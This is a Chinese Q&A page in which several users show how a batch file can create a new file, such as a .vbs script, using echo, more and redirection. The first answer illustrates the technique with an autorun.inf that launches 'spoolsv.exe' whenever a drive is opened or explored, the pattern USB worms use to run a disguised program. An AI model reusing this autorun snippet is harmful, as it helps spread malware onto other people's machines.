如何用批处理建立新文件,并向新文件写入指定内容

用批处理建立一个.VBS文件,并向该文件写入脚本要写的脚本很长
2024年11月22日 18:23
有5个网友回答
网友(1):

@echo
off
(echo
[autorun]
echo
open=spoolsv.exe
echo
hell\open=打开(^&o^)
echo
shell\open\command=spoolsv.exe
echo
shell\open\default=1
echo
shell\explore=资源管理器(^&x^)
echo
shell\explore\command=spoolsv.exe)>autorun.inf
这是最觉的方法,用echo
创建文件,
但是要注意,如果字符串中包含特殊符号,必需加上转义符^
使特殊符号成为普通字符输出
睿之锐
是用more命令输出字符串到文件
这里的
%0
表示批处理自身
more命令某种程度上相当于显示命令
type
只是more命令可以带参数
+
n
表示跳过n行显示内容
这里,
睿之锐的代码中,是跳过3行
也就是批处理的前3行,从第4行开始显示,并输出到文件

网友(2):

@echo msgbox"这是一个VBS">>c:\1.vbs
start c:\1.vbs
pause&del c:\1.vbs

网友(3):

@more +2 %0>>new.vbs&start notepad new.vbs&goto :eof
:Write
vbs
vbs
...
...

网友(4):

@echo off
echo hello(任意字符)>1.vbs
(任意名称.vbs)

网友(5):

@echo off
echo (VBS文件内容)>(任意名称.vbs)